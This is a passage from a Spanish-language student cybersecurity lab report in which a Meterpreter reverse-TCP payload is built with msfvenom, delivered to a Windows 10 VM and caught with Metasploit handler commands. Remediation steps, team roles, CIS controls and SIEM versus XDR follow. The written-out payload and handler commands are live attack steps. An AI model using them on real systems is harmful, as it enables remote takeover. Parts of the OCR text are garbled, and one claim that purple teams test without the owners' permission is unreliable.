econdémico para quienes cometieron la actividad ilicita.

La violacion de datos personales realizada por este grupo de hackers, es un delito

contemplado en el cédigo penal colombiano, en el siguiente articulo:
Articulo 269F

El que, sin estar facultado para ello, con provecho propio o de un tercero, obtenga,
compile, sustraiga, ofrezca, venda, intercambie, envie, compre, intercepte, divulgue,
modifigue o emplee cédigos personales, datos personales contenidos en ficheros,
archivos, bases de datos 0 medios semejantes, incurrira en pena de prisién de
cuarenta y ocho (48) a noventa y seis (96) meses y en multa de 100 a 1000 salarios
minimos legales mensuales vigentes”, reza la normativa.
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2.9 HERRAMIENTAS Y COMANDOS UTILIZADOS PARA EL ESCENARIO
PAYLOAD

Kali Linux, una distribucion de Linux, creado por una variedad de herramientas para
temas de evaluacion de la seguridad informéatica, pruebas de penetracion, escaneo
de vulnerabilidades en sistemas fisicos y los distintos servicios aplicados por las

empresas para la proyeccion y organizacion de trabajo internamente.

Principalmente, en esta plataforma en la terminal de Linux se puede abrir y efectuar
linea de comandos que, para muchos de los atacantes cibernéticos, es el método

para aplicar software malicioso.

2.9.1 Terminal Emulator

En la mayoria o se puede decir con certeza, que los sistemas operativos traen
incorporados terminales con interfaz grafica de usuario (GUI) y sin interfaz grafica
de usuario para trabajar por consola, donde se ejecuta una serie comandos técnicos

para controlar un equipo y/o sistema operativo en especial de Kali Linux.
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llustraciéon 10 Terminal de Kali Linux

O 4 A m233 | & C

kali@kali: ~
File Actions Edit View Help

File System

Fuente: Autoria propia — Catherin Castellanos

2.9.2 Nmap

La funcion de Nmap es enviar paquetes TCP-UDP hacia el host remoto que
gueramos examinar para recibir en las respuestas informacion del host entre ella la

direccién IP, puertos abiertos, puertos cerrados, hombre del sistema operativo,

version del sistema operativo entre otra informacion.
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llustracion 11 Comando Nmap

im PO 4 | E

kali@kali: ~

File Actions Edit View Help

Nmap 7.93 ( https://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
Can pass hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
-iL <inputfilename>: Input from list of hosts/networks
-iR <num hosts>: Choose random targets
—exclude <hostl[,host2][,host3], ... >:! Exclude hosts/networks
—excludefile <exclude_file>: Exclude list from file
HOST DISCOVERY:
-sL: List Scan - simply list targets to scan
-sn: Ping Scan - disable port scan
-Pn: Treat all hosts as online — skip host discovery
-PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
-PO[protocol list]: IP Protocol Ping
-n/-R: Never do DNS resolution/Always resolve [default: sometimes]
—dns-servers <servl[,serv2], ...>: Specify custom DNS servers
—system-dns: Use 0S's DNS resolver
—traceroute: Trace hop path to each host
SCAN TECHNIQUES:
-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
-sU: UDP Scan
-sN/sF/sX: TCP Null, FIN, and Xmas scans
—scanflags <flags>: Customize TCP scan flags
-sI <zombie host[:probeport]>: Idle scan
-sY/sZ: SCTP INIT/COOKIE-ECHO scans
-s0: IP protocol scan
-b <FTP relay host>: FTP bounce scan
PORT SPECIFICATION AND SCAN DER:
-p <port ranges>: Only scan specified ports
Ex: -p22; -pl1l-65535; -p U:53,111,137,7:21-25,80,139,8080,5:9

Fuente: Autoria propia — Catherin Castellanos

2.9.3 Traceroute

Traceroute es una de las herramientas mas usadas en telematica y/o
telecomunicaciones, que permite rastrear las rutas que toman los paquetes desde
un host IP emisor a un host IP destino. La version de traceroute en los sistemas

GNU/Linux utiliza por defecto paquetes UDP.
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llustracion 12 Comando Traceroute

S EEPor | 2 4l £

kali@kali: ~

File Actions Edit View Help

~

[sudo] password for kali:
Usage:
traceroute [ -46dFITnreAUDV ] [ -f first_ttl ] [ -g gate, ... ] [ -i device
][ -mmax_ttl ] [ -N squeries ] [ -pport ] [ -t tos J [ -1 flow label ] [ -
w MAX,HERE,NEAR ] [ -q nqueries ] [ -s src_addr ] [ -z sendwait ] [ — fwmark=
num ] host [ packetlen ]
Options:
Use IPv4
Use IPv6
—debug Enable socket level debugging
—dont-fragment Do not fragment packets
first_ttl —first=first_ttl
Start from the first_ttl hop (instead from 1)
gate, ... —gateway=gate, ...
Route packets through the specified gateway
(maximum 8 for IPv4 and 127 for IPv6)
—icmp Use ICMP ECHO for tracerouting
—tcp Use TCP SYN for tracerouting (default port is 8

i device -—interface=device

Specify a network interface to operate with

max_ttl —max-hops=max_ttl
Set the max number of hops (max TTL to be
reached). Default is 30

squeries -—sim-queries=squeries
Set the number of probes to be tried
simultaneously (default is 16)
Do not resolve IP addresses to their domain nam

port —port=port Set the destination port to use. It is either
initial udp port value for "default" method
(incremented by each probe, default is 33434),

Fuente: Autoria propia — Catherin Castellanos

2.9.4 Metasploit Framework

La consola de Metasploit es principalmente utilizado para manejar la base de datos
de Metasploit, manejar las sesiones, ademas de configurar y ejecutar los modulos
de Metasploit. Su propdsito esencial es la explotacion. Esta herramienta permite
conectarse hacia objetivo de tal manera se puedan ejecutar los exploits contra

estell,

11 Reydes. Hacking con Kali Linux Una Perspectiva Préactica [Alonso Eduardo Caballero Quezada).
[Sitio webl]. [Consulta: 06 septiembre 2023]. Disponible en:
https://www.reydes.com/archivos/Kali Linux v3 Alonso ReYDeS.pdf
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llustracion 13 Metasploit Framework en Kali Linux

POl

Shell No. 1
File Actions Edit View Help

[sudo] password for kali:
[+] Starting database
[i] The database appears to be already configured, skipping initialization

3Kom SuperHack II Logon

User Name:

Password:

https://metasploit.com

6 exploits - 1217 auxiliary - 413 post
90 payloads - 46 encoders - 11 nops
evasion

Metasploit tip: Use the ) command to run
commands from a file
Metasploit Documentation: https://docs.metasploit.com/

msf6 > i

Fuente: Autoria propia — Catherin Castellanos
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2.10 DATOS IDENTIFICADOS EN EL PAYLOAD

Debemos de tener conocimiento que toda empresa, debe aplicar en su
infraestructura de red servicios politicas de seguridad que sea parte de la guia para

la seguridad de la informacion de los equipos desde la intranet y hacia la WAN.

Personalmente, cuando se posee equipos de trabajo personal, no se aplica las
recomendaciones dadas porque en su mayoria es requerido la instalacion de
software licenciados, entre ellos, los antivirus, que permita explotar todas las

herramientas incluidas en el licenciamiento, en la proteccién del equipo.
Entre las politicas a establecer en las redes LAN empresariales se encuentran:

e Actualizaciones en los sistemas de seguridad, tanto equipo de hardware y
aplicaciones de software.

e Monitoreo de las aplicaciones y servicios instalados en los equipos
principales.

¢ Implementar un procedimiento seguro para el acceso a los sistemas, equipos
de trabajo y las aplicaciones.

e El proceder con la instalacion y utilizacién de cualquier software que genere
restricciones en aplicaciones y los sistemas deben estar restringidos y
controlados.

e Todos los sistemas de gestién de contrasefias deben asegurar contrasefias
de calidad, donde se incluyan letras, nUmeros y caracteres especiales.

e Establecer planes de contingencia los casos de emergencia.

e Programar planes respaldos de la informacion.

Por lo anterior, antes las recomendaciones necesarias en ciberseguridad para la
proteccion de los servicios, aplicativos e informacion alojada en todos los

dispositivos y también servicios que sean adquiridos con proveedores terceros por
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la empresa, el fallo de seguridad especifico el cual ataca a la maquina Windows 10
X64.

e Sistema operativo Windows 10 — arquitectura de 64 bits
o Desactivados los sistemas de seguridad, entre ellos el Firewall, Windows

Defender, Antivirus entre otros).

La eliminacion del archivo ubicado en la carpeta Escritorio de Windows 10.
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2.11 HERRAMIENTA UTILIZADA PARA IDENTIFICAR LOS FALLOS DE

SEGURIDAD Y PUERTOS

En todos los sistemas operativos en sus disefios de la arquitectura estan inmersos

a presentar vulnerabilidades, de esta manera, con el sistema operativo Kali Linux,

trae dentro de ello, herramientas para buscar vulnerabilidades, crear archivos

maliciosos, explotar vulnerabilidades, entre infinidad de funciones.

En la ilustracion 14, se procede a buscar los puertos que estan abiertos en el host

final, refiriéndonos al sistema operativo de Windows, con el comando nmap —A

192.168.5.185.

llustracion 14 Escaneo al host

S mEPO|1 2 3 4

kali@kaliz ~
File Actions Edit View Help

sudt A 192.168.5.185
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-27 10:55 EDT
Nmap scan report for 192.168.5.185
Host is up (0.0014s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
MAC Address: 08:00:27:6A:63:8F (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Microsoft Windows 10
0S CPE: cpe:/o:microsoft:windows_10
0S details: Microsoft Windows 10 1709 - 1909
Network Distance: 1 hop
Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

| smb2-security-mode:

| 311:

= Message signing enabled but not required
| _clock-skew: -2s

|_nbstat: NetBIOS name: WINDOWS10, NetBIOS user: <unknown>, NetBIOS MAC:

alBox virtual NIC)

| smb2-time:

| date: 2023-08-27T714:55:55
|_ start_date: N/A

TRACEROUTE
HOP RTT ADDRESS
1 1.43 ms 192.168.5.185

2058 | & ¢

0800276a638f (Oracle Virtu

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/

Fuente: Autoria propia — Catherin Castellanos
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Confirmamos la informacién que nos establecié con la herramienta Nmap de Kali
Linux, con el fin de obtener conocimiento de los puertos abiertos que estan abiertos
en este sistema operativos y que sea el medio de vulnerabilidad para ingresar al

equipo final. En la ilustracion 15, ejecutamos en Windows 10 el comando netstat -a

llustracion 15 Verificacion de puertos en Wndows 10

B B Selecoomat Admimmtrador: Smbole def st

@ O susca Hi s € . JER. ABDETA o0 W
Fuente: Autoria propia — Catherin Castellanos
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2.12 AFECTACIONES DEL ATAQUE A LA MAQUINA WINDOWS 10

Los ataques cibernéticos en la World Wide Web a un dispositivo tecnolégico, sin ser
relacionado que el atacante sea parte de la misma red, difiere de métodos para
ingresar a los equipos principales funcionales de una red hasta a los equipos finales
del empleado de la red, pero para este caso el atacante utilizo herramientas
alcanzables creando payload, un software malicioso con extension. exec ejecutable,

teniendo resultado final la activacion del mismo archivo y tener control sobre él.

Asi mismo, se aclara que antes de realizar la inyeccion del software malicioso a la
red, los delincuentes cibernéticos realizan un barrido de los puertos abiertos del
dispositivo final para procesar el ataque. En la ilustracion 16, se observa parte del
procedimiento realizado para la intrusion obtenida entre el equipo Windows 10 en la

maquina virtual.

llustracion 16 Explicacion grafica intrusion victima-cliente

Barrido del puerto NMAP
Consultas
Internet
H

Barridos de ping

.' Escaneos de puertos ]
Atacante

de paquetes

T

( \') Programas detectores

Fuente: https://ccnadesdecero.es/sequridad-red-lan/
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2.13 ESCENARIO VULNERABILIDAD PAYLOAD

Solucién

Para iniciar con el laboratorio, lo efectuaremos en dos maquinas virtuales instaladas
en el software VirtualBox. Accedemos al equipo de la victima, con el fin de extraer
la version del sistema operativo, el tipo de sistema, la arquitectura de la maquina, la
direccion IP, mascara de red y puerta de enlace del segmento, como se puede

observar en la ilustracion 17 e ilustracion 18.

llustracion 17 Arquitectura Windows 10

Configumcon - - J
@ Inicio Acerca de
) I Tu equipo esta supervisado y
protegido
Sistema
g
2 Pantalls
Especificaciones del dispositivo
849 Sonido
Nombre de! dispositive
U Notificacioned y acciones o
RAM instalads
.;";l Asistente de concentrackin
15 Identificacdor de dSpositive

o e
() Energia y suspensica Id. det producta

Tipo de sstema
5 Batera

Lapiz y entrada tactil
= Almacenamiento

B Tableta Coplar

i Multitares Cambiar &1 pombre de este squipo

& Pro an & e aqug
LY CLEPR SN0 Especificaciones de Windows

X Expersencias comparticas Focion vi 10}
s ) 3 1613 AM
B 2 o Voo >R S o c ABomw S g

Fuente: Autoria propia — Catherin Castellanos

El segmento de la red que se encuentra el equipo Windows de la victima es la
direccion IP 192.168.5.185.
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llustracion 18 Direccion IP para el equipo victima Windows 10

Windowes\systemdl omd.exe

335 AM
@
DR s B

{[=]]

B O Busca @ H € = [~ | i Réc.. A

Fuente: Autoria propia — Catherin Castellanos
Ahora ingresamos a la maquina virtual del equipo Kali Linux, para corroborar la

direccion IP asignada automaticamente desde el equipo que realizara la intrusién al

equipo de Windows 10. Ver ilustracién 19.
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llustracion 19 Direccién IP Kali Linux

B omBPoil-

Fie Actions Edit View Help

Fuente: Autoria propia — Catherin Castellanos
Validando que los dos equipos estén en la misma red, desde el equipo atacante con

el comando nmap —n —sn segmento de red, donde se refleja todos los dispositivos

gue estan en la misma red. Ver ilustracion 20 y 21.
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llustracion 20 Ejecucion comando nmap -n -sn 192.168.5.0/24

N EmPoF]

File Actions Edit View Help

192.168.5.

2 3 4 | [E

kali@kali: ~

0/24

Stariﬁﬁg Nmap 7.93 ( https://nmap.org ) at 2023-08-27 10:33 EDT

Nmap scan report for 192.168.5.
Host is up (0.0046s latency).
MAC Address: 90:9A:4A:5D:73:80
Nmap scan report for 192.168.5.
Host is up (0.092s latency).
MAC Address: @C:2C:54:5A:4A:7E
Nmap scan report for 192.168.5.
Host is up (0.30s latency).

MAC Address: 68:3E:26:70:E1:DF
Nmap scan report for 192.168.5.
Host is up (0.30s latency).

MAC Address: 5E:49:67:F2:B6:A7
Nmap scan report for 192.168.5.
Host is up (0.041s latency).
MAC Address: 4C:02:20:FA:67:8C
Nmap scan report for 192.168.5.
Host is up (0.29s latency).

MAC Address: E8:FB:1C:C8:A5:AD
Nmap scan report for 192.168.5.
Host is up (@0.13s latency).

MAC Address: 44:D5:CC:18:60:97
Nmap scan report for 192.168.5.
Host is up (0.22s latency).

MAC Address: 82:6A:BB:87:16:7B
Nmap scan report for 192.168.5.
Host is up (0.20s latency).

MAC Address: 52:65:AD:C6:11:34
Nmap scan report for 192.168.5.
Host is up (@.15s latency).

MAC Address: 88:46:04:5D:46:1D
Nmap scan report for 192.168.5.

Fuente: Autoria propia -

1

(Tp-link Technologies)
103

(Huawei Technologies)
113

(Intel Corporate)
118

(Unknown )
124

(Xiaomi Communications)
128

(AzureWave Technology)
132

(Amazon Technologies)
147

(Unknown)
150

(Unknown)
167

(Xiaomi Communications)
168

Catherin Castellanos
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llustracion 21 Escaneo del equipo host Windows

S EeEPo]|1 2 3 4|C “ A g 03| & G

kali@kali: ~

File Actions Edit View Help

Nmap scan report for 192.168.5.124

Host is up (0.041s latency).

MAC Address: 4C:02:20:FA:67:8C (Xiaomi Communications)
Nmap scan report for 192.168.5.128

Host is up (0.29s latency).

MAC Address: E8:FB:1C:C8:A5:AD (AzureWave Technology)
Nmap scan report for 192.168.5.132

Host is up (@0.13s latency).

MAC Address: 44:D5:CC:18:60:97 (Amazon Technologies)
Nmap scan report for 192.168.5.147

Host is up (@0.22s latency).

MAC Address: 82:6A:BB:87:16:7B (Unknown)

Nmap scan report for 192.168.5.150

Host is up (0.20s latency).

MAC Address: 52:65:AD:C6:11:34 (Unknown)

Nmap scan report for 192.168.5.167

Host is up (0.15s latency).

MAC Address: 88:46:04:5D:46:1D (Xiaomi Communications)
Nmap scan report for 192.168.5.168

Host is up (0.00028s latency).

MAC Address: 14:5A:FC:79:A6:23 (Liteon Technology)
Nmap scan report for 192.168.5.185

Host is up (0.0048s latency).

IAC Address: 08:00:27:6A:63:8F (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.5.237

Host is up.

MAC Address: 70:A6:CC:B2:2E:92 (Intel Corporate)

Nmap scan report for 192.168.5.238

Host is up (@0.13s latency).

MAC Address: CA:6D:02:D9:6E:7C (Unknown)

Nmap scan report for 192.168.5.184

Host is up.

Nmap done: 256 IP addresses (15 hosts up) scanned in 3.77 seconds

Fuente: Autoria propia — Catherin Castellanos

En las dos ilustraciones anteriores, se observa que en la red de prueba hay gran
cantidad de equipos conectados y se detectan las dos maquinas virtuales a usar en

el presente laboratorio.

Encontrado la direccion IP del equipo que esta con sistema operativo Windows 10
en la maquina virtual, ejecutamos el comando nmap —A 192.168.5.185, para extraer
informacion de los puertos abiertos en el equipo, como se observa en la ilustracion
22.
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llustracion 22 Ejecucion comando nmap -A

S EeEPo]|1 2 3 4|C © & 2058 | @ &

kali@kali: ~

File Actions Edit View Help

sudc 192.168.5.185
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-27 10:55 EDT
Nmap scan report for 192.168.5.185
Host is up (0.0014s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
MAC Address: 08:00:27:6A:63:8F (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Microsoft Windows 10
0S CPE: cpe:/o:microsoft:windows_10
0S details: Microsoft Windows 10 1709 - 1909
Network Distance: 1 hop
Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

| smb2-security-mode:

| 311:

s Message signing enabled but not required

| _clock-skew: -2s

| _nbstat: NetBIOS name: WINDOWS1@0, NetBIOS user: <unknown>, NetBIOS MAC: 0800276a638f (Oracle Virtu
alBox virtual NIC)

| smb2-time:

| date: 2023-08-27T14:55:55

|_ start_date: N/A

TRACEROUTE

HOP RTT ADDRESS

1 1.43 ms 192.168.5.185

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/

Fuente: Autoria propia — Catherin Castellanos

Con el comando msfvenom se realiza la creacion del payload para insertar en el

equipo Windows 10. Ver llustracion 23.
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llustracion 23 Ejecucion comando msfvenom para la creacion del payload

S ERPoE-| 2 3 4| . O & A @m 1446

kali@kali: ~

File Actions Edit View Help

~

sudt f windows/x64/meterpreter/reverse_tcp ylatf windows x64 LHOST=1
92.168.5.184 LPORT=445 -f exe /home/kali/Documents/PoC_ Sl c xc

No encoder specified, outputting raw payload

Payload size: 510 bytes

Final size of exe file: 7168 bytes

Fuente: Autoria propia — Catherin Castellanos

La ubicacion del payload en Kali Linux se guarda en la carpeta de documentos,
como se refleja en la ilustraciéon 24.
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llustracion 24 Ubicacién del payload en Kali

S PoBE-| 2 ' O A @ 1447 |

I Documents - Thunar
Applications

= —_. ..ew Go Bookmarks Help

& = f A& ¢« A kali Documents

Places
&= Computer .

B kati
» | Desktop

@ Recent
' Trash

Documents
Music
Pictures
Videos
Downloads
Devices
_E File System
Network
[ Browse Network

1file: O bytes | Free space: 60.9 GiB

Fuente: Autoria propia — Catherin Castellanos

El siguiente paso, es descargar o trasladar el payload creado en Kali Linux en el
sistema operativo del cliente final, que en este laboratorio es Windows 10. Teniendo
en cuenta, que los dos sistemas operativos estan siendo trabajados en una maquina
virtual, en este caso se paso el payload por medio de USB con el nombre de

PoC_cedulaestudiante.exe como se refleja en la imagen ilustraciéon 25.
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llustracién 25 Payload en Windows 10

L o suscar $r 5 @ = = Swe AsoBW oM W

Fuente: Autoria propia — Catherin Castellanos

Con el payload incrustado en Windows 10, se ejecuta con la herramienta metasploit
framework los siguientes comandos:

#Use exploit/multi/handler

#set payload windows/x64/meterpreter/reverse_tcp

#Set LHOST 192.168.5.184

#Set LPORT 4444

#exploit

Estos comandos son los ejecutados, como se observa en la ilustracién 26.
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llustracion 26 Exploit en metasploit framework

dm P O]

Shell No. 1

Actions Edit View Help

+ — —=[ 2346 exploits - 1217 auxiliary - 413 post
+ — —=[ 1390 payloads - 46 encoders - 11 nops
+ — —=[ 9 evasion

Metasploit tip: Open an interactive Ruby terminal with

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload = windows/x64/meterpreter/reverse_tcp
msf6 exploit( ) > set LHOST 192.168.5.184
LHOST = 192.168.5.184
msf6 exploit( ) > set LPORT 4444
LPORT = 4444
msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.5.184:4444

Sending stage (200774 bytes) to 192.168.5.184

192.168.5.184 - Meterpreter session 1 closed. Reason: Died
Meterpreter session 1 is not valid and will be closed

Fuente: Autoria propia — Catherin Castellanos

Cuando finalice el proceso del exploit, se tiene que ejecutar el payload.exec
instalado en la maquina de Windows 10. Se debe aclarar que en este proceso no
se genero sesion para ingresar remotamente a Windows 10, pero se establecié en
el cliente final el exploit, teniendo el resultado que se obtuvo en la maquina abriendo
aplicaciones sin dar la orden de ejecutarlas.

En la ilustracién 27, se anexa el funcionamiento de la maquina en Windows 10 tras

luego ejecutar el payload en Kali Linux.

57



llustracion 27 Funcionamiento de Windows 10

Fuente: Autoria propia - Catherin Castellanos
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2.14 PASOS PARA IDENTIFICAR UN ATAQUE EN TIEMPO REAL

Los ataques cibernéticos recientes que han sucedido actualmente en nuestro pais,
que han incurrido con fugas y destruccion en la informacién, son los més criticos de
manejar y toman mas tiempo para restablecer todos los servicios implementados en
una red (empresarial) si no se realiza gestion adecuada en cada paso de los

procesos de prevencion y deteccion del acontecimiento del ataque cibernético.

2.14.1 Funcionamiento de la red

Cuando sucede un atague de gran magnitud, contando con los acontecimientos que
se han conocido no solo en Colombia sino también en otros paises, los atacantes
siempre generan causacion en los servicios que se encuentran alineados en los
equipos de red. Entre las sefiales que se pueden acontecer, numeramos la
denegacion de los servicios, por ejemplo, los servicios de navegacion, servicio web,

servicios de FTP, servicios de cloud, entre otros servicios.

2.14.2 Escaneo de los sistemas de seguridad

En ciberseguridad, el escaneo en busca de vulnerabilidades en todos los equipos
pertenecientes a una red, desde un host, un servidor, firewall, entre otros equipos,
son necesidad, al igual que tener los firmwares actualizados de los equipos. Entre
las herramientas reconocidas para analizar la red y el trafico, estan disponibles los
softwares de Nessus, OpenVas, Wireshark, entre otros.

2.14.3 Identificar los equipos infectados
Dependiendo del tamafio de la red, se relaciona el tiempo y la deteccién del equipo
al cual fue infectado en el ataque. A su vez, de la mano con las herramientas y con

los servicios denegados se puede deducir si la red esta infectada.

2.14.4 Aislar el equipo infectado
La primera medida tras detectar el virus dentro de una red sin tener referenciado el

equipo infectado, sera aislar la maquina virtual que se encuentra instalado el
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sistema operativo Windows 10 a nivel de red para que no sea propagado en los
demas equipos conectados a la misma red.
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2.15 PASOS PARA SUBSANAR EL ATAQUE DE PAYLOAD

¢ Teniendo en cuenta el ataque ejecutado desde el ejercicio de Red team liste el

paso a paso que ejecutd para subsanar el sistema ante el evento del Payload?

Solucién

El nivel de riesgo ante una eventualidad de ataque en una red constara de la
informacion de la misma contenga dentro de ellos. Es claro, que los hackers no
ejecutan ataques sin tener un beneficio, por o que siempre apuntara a redes
empresariales donde se refleje vulnerabilidades en sus sistemas.

1. Revisar la integridad de los datos.

2. Apagar el dispositivo infectado.

3. Realizar un escaneo completo y total del sistema con un antivirus licenciado,
gue permita ejecutar todas las herramientas incluidas dentro del mismo, entre
las herramientas a tener en cuenta estan la proteccion anti phishing, escaner
de malware.

Formatear los equipos desde cero.
Implementar el ultimo backup limpio de cualquiera vulnerabilidad incrustado
en el sistema e informacion.

6. Activas los sistemas de defensa, firewall y herramientas que se encuentran

incluidas en algunos sistemas operativos.
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2.16 DIFERENCIAS BLUE TEAM Y READ TEAM

Sabemos que existen equipos Blue Team y Red Team, pero entonces ¢qué
diferencia existen entre los equipos antes mencionados con el Purple Team y

equipos de respuesta a incidentes informaticos?

Solucioén

Para iniciar, definiremos los tres conceptos para los equipos:
2.16.1 Red Team

En los equipos de Red Team se puede ejecutar actividades para realizar
emulaciones con escenarios de ataques y amenazas que una organizacion
enfrentaria para evaluar los protocolos habilitados en la organizacion para proteger

sus activos criticos y sus capacidades de deteccion y respuesta.

2.16.2 Blue Team

El objetivo es realizar evaluaciones de las distintas amenazas que puedan afectar
a las organizaciones, monitorizar (red, sistemas, etc.) y recomendar planes de

actuacion para mitigar los riesgos.

2.16.3 Purple Team

El objetivo del equipo de Purple Team es gestionar la seguridad de los activos de la
organizacién, realizar pruebas para comprobar la eficacia de los mecanismos y
procedimientos de seguridad y definir/desarrollar controles de seguridad adicionales

para disminuir el riesgo de la organizacion.

Las tres definiciones dadas anteriormente, se ligan en conjunto a las funciones que

son relacionadas por nosotros los profesionales, la comunidad de ciberseguridad,
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haciendo referencia a los objetivos que son enfocados en cada labor, existiendo

diferencias en cada una de ellas.

Los equipos de Purple Team y los hackers de sombrero gris, buscan las
vulnerabilidades de un sistema o equipo que ha estado bajo andlisis, sin que los
duefios hayan permitido realizar dichas pruebas; al mismo modo, que cuando
encuentran vulnerabilidades, se lo hacen saber al responsable del sistema,
ofreciendo sus servicios profesionales para la correccion de las amenazas

descubiertas.
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2.17 FUNCION CIS (CENTER FOR INTERNET SECURITY)

¢, Qué funcién tiene CIS “Center For Internet Security” dentro de equipos BlueTeam?
Usted debe realizar un pequefio tutorial de cémo funciona CIS y qué se debe hacer

para encontrar los tutoriales que posee.

Solucioén

Anteriormente se explicé el término de BlueTeam, al cual se hace referencia, en el
primer paso iniciar con la implementacién de la seguridad en los entornos que
comprende una red y que en nuestro pais presenta deficiencia en prevenir ataques
que busca la delincuencia cibernética, en secuestrar informacion de las empresas

para fines lucrativos.

También, es de conocer que, en la actualidad en cada pais, la entidad
gubernamental cuenta a través de una organizacion, un centro de atencion de
respuesta a incidentes de seguridad, para brindar apoyo a las entidades ante
incidentes de gran magnitud, que se vea afectados en la suspension de los servicios
de data center (nube), internet y seguridad. En Colombia, encontramos el CSIRT
(Equipo de Respuesta a Incidentes de Seguridad Cibernética) y el Grupo de
Respuestas a Emergencias Cibernéticas de Colombia (ColCERT).

Entrando en tema y definiendo el concepto de CIS, los controles de Seguridad
Critica (CIS), son las mejores practicas formuladas mundialmente reconocidas para
proteger los sistemas y datos de Tl que pueden ayudar a prevenir los ataques mas
peligrosos y de mayor alcance, y apoyar el cumplimiento en una era de multiples

marcosi?

12 ManageEngine. ¢(Qué son y como implementar los Controles de CIS (CIS Controls / CIS
ciberseguridad)?. [Sitio web]. [Consulta: 19 septiembre 2023]. Disponible en
https://www.manageengine.com/latam/controles-de-seguridad-critica-cis.html
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Para los casos que se han presentado, en diferentes paises y estados a nivel
mundial, se debe valorar mas all4 de las practicas aplicadas en la red, si estos
mismos procesos son incluyentes en las guias recomendadas por esta

organizacion.

Como profesionales, en donde prestamos servicios profesionales de seguridad en
la red a cualquier compafiia sin contar en el tamafio de ella, con el avance que ha
aumentado en los temas de tecnologia, es constante que asi mismo, las practicas,
metodologias y demas técnicas de defensa y ataque (en caso de pentesting) se
actualicen a medida que las vulnerabilidades se encuentren, de esta indole se
generan versiones mejoradas a la udltima versidn publicada, similar a las

actualizaciones de los software y aplicativos.

En la ilustracién nos indica las practicas para los sistemas de Tl dependiendo del
caso al cual se desea efectuar las politicas.

llustracion 28 Soluciones CIS
Mejores practicas y comunidades de expertos de renombre mundial

@ a1s controls’ @ asBenchmarks® [l @) CIS SecureSuite’ [l & Ms1sAC % Erisac

| DESCARGAR Y EXPLORAR — A | NESCARGAR LO UITIWG — AFRIEN - o ANRENIE WS —

Fuente: https://www.cisecurity.org/

En cada una de las soluciones, incorporan guias de las practicas que son
necesarias aplicar, al igual que los recursos y herramientas valorando también los

proveedores de los productos generados para el desarrollo de la seguridad.
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En la ilustracion 29 y 30, anexamos la solucion por CIS Control, donde

encontraremos el objetivo, caracteristicas y recursos disponibles al alcance.
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llustracién 29 CIS Controls

Controles de seguridad criticos del CIS

onjunto de acciones priorizadas para proteger su organizacion y sus datos
yres de ciberataques,

DESCANGAR CONTROLES C5 v —

@ CIS Controls

Inase a la comunidad ae

controles C
Fuente: https://www.cisecurity.org/controls
llustracién 30 Herramientas CIS Controls
Obtenga mas informacion sobre los controles CIS v8
Herramientas y recursos
Herramienta de analisis de impacto empresarial del ransomware CIS CSAT
Jarn ]| eden avaluar st 1] i | | WU nwa SUS p
5 uliizand U ta ( AT Hansor } J | al 3. 4 1tdidad ha
{ ) [ f oA I gsiaht + \ler N { framier £ s1ull]
pun | [} I 1 X 1Of 35 a nwa { I 3 18 U f 1A
3 afectada por un 8 e de ransor Aqae - 13Yan comear ! \a lug ti
( AT 8 pueder riar joiones de es3 eyaluacion, [Empiecs g evaluar rtesqos o
I m hoy!
Acceda a la herramienta BIA
Evalue su implementacion de los controles CIS
y | i e e ) § { ol ( ( . &8st i [ ratull J e n
| Idares de Segundad rastreas y pronazar su implemaniacion de

Mas informacion sobre CEI CSAT

https://www.cisecurity.org/controls/v8
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En lailustracion 31, la solucion Benchmarks se basara en el producto del proveedor,

entre ellos Linux, Apple, Microsoft Azure, entre otros.

llustracion 31 CIS Benchmarks

Lista de puntos de referencia ¢ 6l pnto de referencia CIS que &5t
de la CEl ARcahdo

Selecciona tu thenalogia.

Vi OVEEDIRES € WETMAKE DE HEEAM A VIRS DAL IVOS DEPOSITIVNGS DE IMFRESON 15PN TIVUS DE SOFTWARE 0%
oo W.RE JATORO DEVSECOwS WIREES MATFUNCION S STAVIDOA

Fuente: https://www.cisecurity.org/cis-benchmarks

Finalizamos con CIS Secure Suite, donde es requerido acceder a las herramientas

adquiriendo una membresia. Ver ilustracion 32.

llustracion 32 CIS SecureSuite

Membresia CIS SecureSuite®

Aproveche las mejores practicas comprobadas para mejorar la ciberseguridad

SOUCITAN NEMARESA —

@ CIS SecureSuite’

Membership

Fuente: https://www.cisecurity.org/cis-securesuite
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2.18 DIFERENCIAS ENTRE SIEM Y XDR

Debera documentar mediante la elaboracion una tabla las diferencias existentes

entre: SIEM y XDR.

Solucion

Tabla 1 XIEM VS XDR

XIEM

Envia alertas a una plataforma

proporciona a una empresa capacidades
de analisis y gestibn de registros
centralizados.

Necesita un esfuerzo de gestién intensivo
para conectarse a fuentes de datos y
sincronizar las alertas.

Principalmente una herramienta de andlisis
de datos que proporciona datos y alertas al
equipo SOC para que puedan identificar
peligros.

XDR

Posee la capacidad de apoyar y coordinar
los esfuerzos de respuesta.

Establece cuatro fases en la correlacion de
datos: recopilar, detectar, investigar y
responder.

Se crean para conectarse mas facilmente
con la arquitectura de seguridad de una
empresa.

